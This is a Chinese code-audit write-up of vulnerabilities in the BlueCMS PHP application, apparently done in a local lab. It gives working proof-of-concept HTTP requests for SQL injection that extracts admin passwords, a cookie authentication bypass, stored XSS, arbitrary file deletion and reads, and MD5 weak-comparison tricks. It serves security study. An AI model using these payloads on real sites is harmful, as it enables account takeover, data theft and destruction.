26. 编辑个人资料功能(edit_user_info) 多个参数存在 Sql注入漏洞

代码图就不贴了,可以直接分析上一个代码截图,在最后使用了 updata 语句直接带入到数据库中执行即可,这里需要警惕一下,在实战中千万不要这样定义poc,我先来个错误示范 ,以下 poc 执行之后,会将admin账号密码填入 msn 字段中

钟', msn = (select concat(admin_name,0x7e,pwd) from blue_admin)#

image-20241020043052462

image-20241020043228988

但是从后台用户列表中就可以看到,我们将所有用户的信息全修改了,主要的原因是我们使用 # 号闭合后面的语句后,并没有加上 where 条件,update语句会更新表中所有记录的信息

image-20241020043834364

image-20241020043309166

首先,在你知道你自己的用户id的情况下使用 where 加上自己的用户id,如果不知道的话,可以根据报错语句进行判断。实战中遇到的话也是如此,一定要选上 where 条件,尽量不要破坏用户数据

image-20241020044034008

中', msn = (select concat(pwd) from blue_admin) where user_id = 2#

image-20241020043949777

27. 修改密码功能(do_edit_pwd) 存在 MD5 碰撞漏洞

MD5 碰撞是一个很经典的 ctf 题,今天有幸能在这套源码中碰到。

分析代码,我们输入旧的密码会和 user_id 一同传入check_user 函数中

image-20241020045921951

Sql 会以 user_id 作为查询条件,获取该用户的密码,然后会将我们输入的旧密码做比较。我们都知道php是弱类型语言,字符串之间比较如果不用全等的话可能会出现问题。

image-20241020050125915

PHP 弱类型语言的逻辑对比我就不再阐述,感兴趣的可以直接网上,我这里直接上一些关于md5碰撞的代码来解释。

以下代码一个是字符串,一个是数字,两个去进行比较时,会视为 true。

首先 0e 开头的这类字符串会转换成科学记数法,E代表次方,那么0的多少次方都是 0,所以当这两个数去对比时结果会为 true

<?php
var_dump("0e81"==0); //true
var_dump("0e11"=="0e2"); //true

那么就可以根据这个规律,找两个md5值不相等,但是md5加密出来的值都是 0e 开头的字符串去做对比

QNKCDZO—0e830400451993494058024219903391

s214587387a—0e848240448830537924465865611904

结果为 true

<?php
var_dump(md5("QNKCDZO")==md5("s214587387a")); //true

回到 BlueCms ,我们假设一个场景:当我们利用 XSS 漏洞获取到普通用户的 Cookie 后,而我们想改他的密码,而他密码好刚 md5 的值是 0e 开头的,那么这个漏洞条件就可以成立。

好巧不巧,我的数据库里刚好有个用户的密码 md5 值为0x开头的,但我不知道明文[旺柴]

image-20241020054408570

获取到用户 COOKIE 后,进入修改密码功能,填上 QNKCDZO

image-20241020054603664

密码修改成功

image-20241020054930381

原因还是 if(md5($pwd)==$user['pwd']) return true; 这段逻辑代码,我们输入的旧密码值和取出来的密码值做比较时,两个都是0e开头的md5进行对比,那么就会产生md5碰撞漏洞。当然实战中我也没碰到过这类漏洞,这里主要以了解漏洞的本质为目的去进行代码分析。

28. 修改密码功能(do_edit_pwd) 存在 Sql 注入漏洞

代码分析,匹配成功旧密码之后,就会将新密码与user_id带入edit_pwd()函数中执行

image-20241020165004360

找到函数声明处,可以看到 $pwd 未过滤直接拼接在 Sql 语句上

image-20241020165111391

update 注入我们的思路还是和之前一样,只要闭合了md5('')之后,将admin的密码插入到 email 中显示出来即可,语句大概如下:

upload blue_user set pwd=md5('%df') email=(select pwd from blue_admin) where user_id=2;

poc

POST /user.php HTTP/1.1
Host: 192.168.1.9:86
Content-Length: 210
Cache-Control: max-age=0
Origin: http://192.168.1.9:86
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.1.9:86/user.php?act=edit_pwd
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=d72b7nfl8kd8l90l6t08vqev64; detail=4
Connection: keep-alive

old_pwd=123123&new_pwd=123123中'),email=(select pwd from blue_admin) where user_id=2#&confirm_pwd=123123中'),email=(select pwd from blue_admin) where user_id=2#&act=do_edit_pwd&submit=%C8%B7%C8%CF%D0%DE%B8%C4

image-20241020173823946

回去个人信息查看邮箱

image-20241020173915111

29. 首页登录功能(index_login) Sql 注入漏洞

继续往下看 863 行, user_name,pwd 参数均未过滤直接带入到 Sql 语句中查询

image-20241020175047074

拼接参数,sqlmap直接一把梭

POST /user.php HTTP/1.1
Host: 192.168.1.9:86
Content-Length: 46
Cache-Control: max-age=0
Origin: http://192.168.1.9:86
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.1.9:86/user.php?act=edit_pwd
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=d72b7nfl8kd8l90l6t08vqev64; detail=4
Connection: keep-alive

act=index_login&user_name=%df'*%23&pwd=1

image-20241020181731100

当然,密码功能还是存在万能密码,这里就不再进行代码分析了

image-20241020181856702

30. 检查余额功能(check_price) type、service 参数 Sql 注入

type及service 均未过滤,测试哪个参数都行,只不过需要通过一下中间的一个正则匹配 '/^[1-9][0-9]*$/'

image-20241020182807827

POST /user.php?exp=12&type=%df'*%23 HTTP/1.1
Host: 192.168.1.9:86
Content-Length: 15
Cache-Control: max-age=0
Origin: http://192.168.1.9:86
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.1.9:86/user.php?act=edit_pwd
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=d72b7nfl8kd8l90l6t08vqev64; detail=4
Connection: keep-alive

act=check_price

image-20241020182901234

管理后台文件分析

image-20241021162430253

防御代码

先从 index.php 文件开始看,刚开始也是先加载 admin/include 目录下的 common.inc.php

image-20241021170707233

common.inc.php文件不能直接访问,需要类似于 index.php文件先设置 IN_BLUE常量 为true,然后在包含common.inc.php文件进行加载

image-20241021170617653

防御代码还是一如既往的 deep_addslashes 函数

image-20241021162714231

最后是底部的鉴权代码

  1. 如果 session admin_id 等于空,且 act 不等于 login\do_login\logout ,则进入true判断
  2. 如果 $_COOKIE 中 admin_id\admin_name\admin_pwd都不存在的话,直接跳到login页面进行登录

image-20241021163743731

31. common.inc.php Cookie 参数存在Sql注入漏洞

众所周知,Cookie 都是能自己设置的,也就是说设置了 $_COOKIE['Blue']['admin_id']、$_COOKIE['Blue']['admin_name']、 $_COOKIE['Blue']['admin_pwd']这三个变量,就能进入if判断。

image-20241021171127446

而 if 判断调用了 check_cookie 函数,找到声明处,映入眼帘的就是一个Sql注入漏洞

image-20241021171251367

构造 poc ,显示报错信息

image-20241021171442026

老样子,sqlmap一把梭

GET /admin/index.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1*;Blue[admin_pwd]=1
Connection: keep-alive


image-20241021171634953

32. common.inc.php 存在鉴权绕过漏洞,可直接进入后台

继续分析 check_cookie函数,当传入的 $pwd 与Sql取出来的 pwd + $_CFG[‘cookie_hash’] 做对比,如果相等就为 True ,否则 false.

我们当前肯定不知道 $_CFG[‘cookie_hash’] 的值,一定会为false。

image-20241021180715445

但是return的值为 false 的时候,就没有做任何判断了。

image-20241021180930557

直接开启问号模式

images

那么我们只要让 Cookie 的值都存在,即可进入后台

image-20241021181238223

Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1

image-20241021181310199

这里的话应该加个 else 判断,但是还是

image-20241021181428644

image-20241021181447240

33. Login.php 登录功能(do_login) 万能密码漏洞

首先一样加载了 common.inc.php 文件,那就存在 Cookie 鉴权问题及 Sql 注入 漏洞,往后就不在阐述

往下看 $act = do_login 判断, admin_nameadmin_pass做了去空判断,不为空的情况下,调用了check_admin函数进入 if 判断

image-20241021183732435

找到声明处,将账号密码带入到 Sql 语句中查询,如果查询的记录不等于 0 那么就 return true

在这里插入图片描述
如果return true,那么久步入下一行代码,将 $admin_name作为参数放入update_admin_info()函数 中调用

image-20241021185043893

查看了一下 update_admin_info()函数 ,只是将表中查询出来的信息赋值到 Session 上,以及更新了登录的时间。

image-20241021185118072

那么我们只需要让 check_admin() 等于 true,且赋值了session 信息,即可进入后台

image-20241021185406341

构造poc:

POST /admin/login.php?act=do_login HTTP/1.1
Host: 192.168.1.9:86
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 38

admin_name=1%df' or 1=1%23&admin_pwd=1

image-20241021185513260

或者 万能密码

POST /admin/login.php?act=do_login HTTP/1.1
Host: 192.168.1.9:86
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 42

admin_name=admin&admin_pwd=%df') or 1=1%23

image-20241021185706853

刚开始以为 update_admin_info() 函数中 $online_ip 也会像用户前台一样调用 getip() 函数去获取ip

在这里插入图片描述

但是加入 xff 之后插入单引号并没有报错,最后debug之后发现 $online_ip 一直为空

image-20241021192343048

admin/include/common.inc.php 中并没有 $online_ip = getip(); 变量

只有 include/common.inc.php 调用 getip() 获取ip

在这里插入图片描述

34. 添加广告功能 ad.php(do_add) a d n a m e 、 ad_name、 adn​ame、time_set、$content 等多个参数存在 Sql注入漏洞

进入 ad.php 文件,找到 34 行 ,这里我只分析了 ad_name 参数,其他参数大同小异。

image-20241021205316494

ad_name 参数 直接带入到了 Sql 执行。

image-20241021205555301

构造poc,将 admin 的账号密码 插入 $content 字段中

在这里插入图片描述

管理后台->模块管理->广告管理->查看刚才添加的内容

image-20241021205030978

后台的 Sql 居多,接下来碰到 Sql 的话就不再过多解释,直接上代码图及poc

35. 修改广告功能 ad.php(edit)$ad_id 存在Sql注入漏洞

image-20241021210459004

poc:

POST /admin/ad.php?ad_id=-1+union+select+1,version(),3,4,5,user(),7%23 HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 8

act=edit

image-20241021210529593

36. 修改广告功能 ad.php(do_edit) $ad_name 存在Sql注入漏洞

image-20241021233027377

POST /admin/ad.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 130

act=do_edit&ad_name=%df', time_set = 0, start_time = 0, end_time = 0, content = user(), exp_content = 1 WHERE ad_id = 1%23&ad_id=1

image-20241021233329600

在这里插入图片描述

37. 修改广告功能 ad.php(do_add) ad_name 存储型 XSS 漏洞

POST /admin/ad.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 43

act=do_add&ad_name=<script>alert()</script>

image-20241021234406899

image-20241021234439333

image-20241021234507784

38. 电话广告 /admin/ad_phone.php (doadd)多个参数存在Sql注入漏洞

image-20241021235612583

POST /admin/ad_phone.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 58

act=doadd&content=%df', user(), 0, 1729526204, 0, 1, 0)%23

image-20241022004731998

image-20241022004707751

40. 电话广告 /admin/ad_phone.php (doadd)多个参数存在存储型Xss漏洞

POST /admin/ad_phone.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 42

act=doadd&content=<script>alert()</script>

image-20241022004929628

41.电话广告 /admin/ad_phone.php (doedit)多个参数存在存储型 Xss漏洞

image-20241022005052312

POST /admin/ad_phone.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

act=doedit&title=<script>alert(111)</script>&content=1&id=1

image-20241022005336257

42.电话广告 /admin/ad_phone.php (del)id参数 存在Sql注入漏洞

POST /admin/ad_phone.php?id=-1+or+sleep(3) HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

act=del

image-20241022010447467

41. admin/ann.php (do_add) 多个参数存在 Sql 注入漏洞

image-20241022020039933

POST /admin/ann.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 64

act=do_add&cid=%df', 0, user(), 0, 1, 1, 1)%23&title=1&content=1

在这里插入图片描述

43. admin/ann.php (do_add) 多个参数存在 XSS漏洞

POST /admin/ann.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 57

act=do_add&cid=1&title=<script>alert()</script>&content=1

image-20241022020309362

44. admin/ann.php (do_edit) 多个参数 存在Sql注入漏洞

image-20241022021308187

POST /admin/ann.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 99

act=do_edit&ann_id=1&title=2%df', color=3, content=user() WHERE ann_id=1%23&color=3&cid=4&content=5

image-20241022021126175

image-20241022021059779

45. admin/ann.php (do_edit) 多个参数 存储型 xss 漏洞

POST /admin/ann.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 75

act=do_edit&ann_id=1&title=<script>alert()</script>&color=3&cid=4&content=5

image-20241022021400637

46. admin/ann.php (do_add_cat) cat_name Sql注入漏洞

POST /admin/ann.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 62

act=do_add_cat&cat_name=1%df', 1),(6,user(),1)%23&show_order=1

image-20241022022744232

image-20241022022801553

47.admin/ann.php (do_add_cat) cat_name 存储型XSS漏洞

这里遇到一个有意思的xss,cat_name参数没有 html 实例化直接显示到前端

image-20241022030602234

我们直接插入数据,但数据库长度只有20,字符长度受限

image-20241022030825679

image-20241022032539470

image-20241022032606139

那么换个思路,在第一个payload在javascript中加入多行注释

act=do_add_cat&cat_name=<script>alert()/*&show_order=1

image-20241022030714290

在第二个payload上闭合注释

act=do_add_cat&cat_name=*/</script>&show_order=1

image-20241022030722644

image-20241022032730171

那么就能绕过长度的限制闭合payload

image-20241022023932635

查看前端源代码

image-20241022034653473

48.admin/ann.php (do_edit_cat) cat_name Sql注入漏洞

image-20241022040706464

cat_name 我们闭合之后不能拼接,但是可以直接再次修改 cat_name 字段的值达到显示的效果

act=do_edit_cat&cat_name=1%df',cat_name=user(), show_order=0 WHERE cid=1%23&cid=1

image-20241022040816389

image-20241022040832175

49.admin/arc_cat.php (do_add) 多个参数存在 Sql注入漏洞

image-20241022041551379

act=do_add&cat_name=%df', 0, user(), 0, 0, 0, 0, 0)%23

image-20241022041621953

image-20241022041632131

50.admin/arc_cat.php (do_add) 多个参数存在 存储型Xss漏洞

POST /admin/arc_cat.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 44

act=do_add&cat_name=<script>alert()</script>

image-20241022041705523

51.admin/arc_cat.php (do_add) 多个参数存在 Sql注入漏洞

image-20241022042052982

POST /admin/arc_cat.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 141

act=do_edit&cat_name=%df',  parent_id = 0, title = version(), keywords = 0, description = 0, cat_indent = 0,show_order = 0 WHERE cat_id =1%23

image-20241022042014618

52.admin/area.php (doadd) area_name参数存在 Sql注入漏洞

image-20241022042850724

POST /admin/area.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

act=doadd&area_name=%df', 0,0,0,0),(6,user(),0,0,0,0)%23

image-20241022042551305

53.admin/area.php (doadd) area_name参数存在 存储型XSS漏洞

这里也是限制了字符长度

POST /admin/area.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 37

act=doadd&area_name=<script>alert()/*
POST /admin/area.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

act=doadd&area_name=*/</script>

image-20241022042831701

54. admin/article.php (do_edit) lit_pic1 参数存在任意文件删除漏洞

需要满足 $cid ,lit_pic1,lit_pic2参数同时存在,然后就会判断 lit_pic1 提交参数中的文件是否存在,如果存在则直接删除

image-20241022045338840

POST /admin/article.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: PHPSESSID=hko35hjhvatolqcc69htnr4ag4
Connection: keep-alive
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfoLpwNYleE3E7zmX
Content-Length: 485

------WebKitFormBoundaryfoLpwNYleE3E7zmX
Content-Disposition: form-data; name="act"

do_edit
------WebKitFormBoundaryfoLpwNYleE3E7zmX
Content-Disposition: form-data; name="cid"

1
------WebKitFormBoundaryfoLpwNYleE3E7zmX
Content-Disposition: form-data; name="lit_pic1"

test.php
------WebKitFormBoundaryfoLpwNYleE3E7zmX
Content-Disposition: form-data; name="lit_pic2"; filename="1"
Content-Type: application/octet-stream

1
------WebKitFormBoundaryfoLpwNYleE3E7zmX--

响应该提示无关紧要,说明代码已经走到了后面的判断

image-20241022045551019

55.admin/attachment.php (doadd) 多个参数存在Sql注入漏洞

image-20241022143410879

POST /admin/attachment.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 83

act=doadd&att_name=1%df', 0, 0, 0, 0, 0),(7, 1, user(), 0, 0, 0, 0, 0)%23&modelid=1

image-20241022143432391

56.admin/attachment.php (doedit) att_name 参数存在存储型XSS漏洞

POST /admin/attachment.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 57

act=doedit&att_name=<script>alert(111)</script>&modelid=1

image-20241022143514052

57.admin/card.php (do_add) name 参数存在Sql注入漏洞

image-20241022144610780

POST /admin/card.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67

act=do_add&name=1%df', 1, 1, 0),(6,user(),1,1,0)%23&value=1&price=1

image-20241022144627282

58.admin/card.php (do_add) name 参数 存储型xss漏洞 (字符长度绕过)

刚开始想着直接拼接参数直接插入xss代码即可,数据库也有足够的长度去存储

image-20241022154109675

image-20241022154124786

但没想到前端乱码了,切字符显示不全

image-20241022154329582

查看前端代码,发现限制了10个字符

image-20241022154408145

绕过方法,总共发送3条xss代码,第一条发送script 标签头 第二条alert弹窗 第三条闭合scrpit

POST /admin/card.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 42

act=do_add&name=<script>/*&value=1&price=1

act=do_add&name=*/alert()/*&value=1&price=1

act=do_add&name=*/</script>&value=1&price=1

image-20241022153735494

image-20241022153743601

image-20241022153820476

59. 数据库备份文件 未授权访问

通过后台进行数据备份后,数据库备份文件未鉴权可直接访问下载,备份文件也是根据时间命名,容易爆破。

image-20241022160609525

60. /admin/database.php del file_name 参数 任意文件删除漏洞

image-20241022160814327

GET /admin/database.php?act=del&file_name=../../test.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive


image-20241022160822268

61.admin/flash.php (do_add) image_link 参数 存储型Sql注入漏洞

image-20241022161844503

POST /admin/flash.php HTTP/1.1
Host: 192.168.1.9:86
Content-Length: 413
Cache-Control: max-age=0
Origin: http://192.168.1.9:86
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8Jf5pvcuUTA604fW
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.1.9:86/admin/article.php?act=add
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive

------WebKitFormBoundary8Jf5pvcuUTA604fW
Content-Disposition: form-data; name="image_link"

1中',0),(8,user(),0,0)#
------WebKitFormBoundary8Jf5pvcuUTA604fW
Content-Disposition: form-data; name="act"

do_add
------WebKitFormBoundary8Jf5pvcuUTA604fW
Content-Disposition: form-data; name="image_path"; filename="images.jpg"
Content-Type: image/jpeg

123123
------WebKitFormBoundary8Jf5pvcuUTA604fW--

image-20241022161909875

62.admin/flash.php (do_add) image_link 参数 存储型XSS漏洞

POST /admin/flash.php HTTP/1.1
Host: 192.168.1.9:86
Content-Length: 413
Cache-Control: max-age=0
Origin: http://192.168.1.9:86
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8Jf5pvcuUTA604fW
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.1.9:86/admin/article.php?act=add
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive

------WebKitFormBoundary8Jf5pvcuUTA604fW
Content-Disposition: form-data; name="image_link"

<script>alert()</script>
------WebKitFormBoundary8Jf5pvcuUTA604fW
Content-Disposition: form-data; name="act"

do_add
------WebKitFormBoundary8Jf5pvcuUTA604fW
Content-Disposition: form-data; name="image_path"; filename="images.jpg"
Content-Type: image/jpeg

123123
------WebKitFormBoundary8Jf5pvcuUTA604fW--

63.admin/flash.php (del) 任意文件删除漏洞 (突破 intval 限制)

代码很好理解,其实就是 Get 传 image_id 然后强转 int 之后带入到数据库中查询,将 image_path 取出来的参数当做文件进行删除。

image-20241022162428670

那么怎么这样一来 只要我能控制数据库查询出来的 $flash[‘image_path’] 参数,那岂不是就能达到任意文件删除的效果了?

前面我们提到,(漏洞61)该文件存在一个insert Sql注入漏洞,那么只要我们在插入数据的时候,将数据库字段中的 image_path 字段设置成我们想要删除的文件即可.由于 addslashes 函数进行字符串转译原因我们没法直接将字符串直接传输进去,那么还是一样转换成 hex 编码.

0x746573742e706870 = test.php

POST /admin/flash.php HTTP/1.1
Host: 192.168.1.9:86
Content-Length: 426
Cache-Control: max-age=0
Origin: http://192.168.1.9:86
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8Jf5pvcuUTA604fW
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.1.9:86/admin/article.php?act=add
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive

------WebKitFormBoundary8Jf5pvcuUTA604fW
Content-Disposition: form-data; name="image_link"

1中',0),(12,0x746573742e706870,0,0)#
------WebKitFormBoundary8Jf5pvcuUTA604fW
Content-Disposition: form-data; name="act"

do_add
------WebKitFormBoundary8Jf5pvcuUTA604fW
Content-Disposition: form-data; name="image_path"; filename="images.jpg"
Content-Type: image/jpeg

123123
------WebKitFormBoundary8Jf5pvcuUTA604fW--

插入的 image_id 为 12

image-20241022163204854

image-20241022163221673

删除文件 poc

image-20241022163409631

64.admin/info.php id 参数任意文件删除漏洞

GET /admin/info.php?act=del_pic&id=test.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive


image-20241022175243918

65. admin/ipbanned.php ip 参数Sql注入漏洞

sqlmap -r test.txt --dbms="Mysql"
POST /admin/ipbanned.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 33

act=do_add&ip=%df'*%23

66. admin/link.php(do_add) 多个参数 Sql注入漏洞

image-20241022183128640

POST /admin/link.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 40

act=do_add&link_name=%df',user(),0,0)%23

image-20241022183155572

67. admin/link.php(do_add) 多个参数 存储型xss漏洞

POST /admin/link.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 45

act=do_add&link_name=<script>alert()</script>

68.admin/link.php(do_edit) link_logo2参数 任意文件删除漏洞

POST /admin/link.php HTTP/1.1
Host: 192.168.1.6:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

act=do_edit&link_logo2=test.php

69.admin/link.php (del) 任意文件删除漏洞 (突破 intval 限制)

跟漏洞 63 原理一致。

image-20241022192733145

先插入数据

POST /admin/link.php HTTP/1.1
Host: 192.168.1.6:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 52

act=do_add&link_name=%df',0,0x746573742e706870,0)%23

image-20241022193018476

然后再根据linkid删除文件

GET /admin/link.php?act=del&linkid=4 HTTP/1.1
Host: 192.168.1.6:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive


69.admin/nav (edit) navid 参数存在 Sql注入漏洞

image-20241022193645722

/admin/nav.php?act=edit&navid=1+and+sleep(3)

70.admin/tpl_manage.php (edit) tpl_name 参数存在任意文件读取漏洞

这里使用 fopen 函数 ,打开 tpl_name 传输进来的参数,如果文件打开成功,则使用fread函数进行文件内容读取,经过html格式化之后,传输到$tpl中,最后使用 $smarty 渲染到前端 tpl_info.htm 文件。

image-20241022204047492

tpl_info.htm

image-20241022204303824

poc

GET /admin/tpl_manage.php?tpl_name=../../data/config.php&act=edit HTTP/1.1
Host: 192.168.1.6:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive


image-20241022204538468

71.install/index.php 任意文件读取漏洞+绕过addslashes文件内容写入Getshell

一直想找一个任意文件读取漏洞,然后在去说这个漏洞,因为 install/index.php 需要能读到数据库账号密码才能去写入文件,所以拿在任意文件读取漏洞后面讲。

代码分析:

  1. 需要填写所需的参数信息,不能为空
  2. 数据库需要连接成功
  3. 写入配置文件

image-20241023000646213

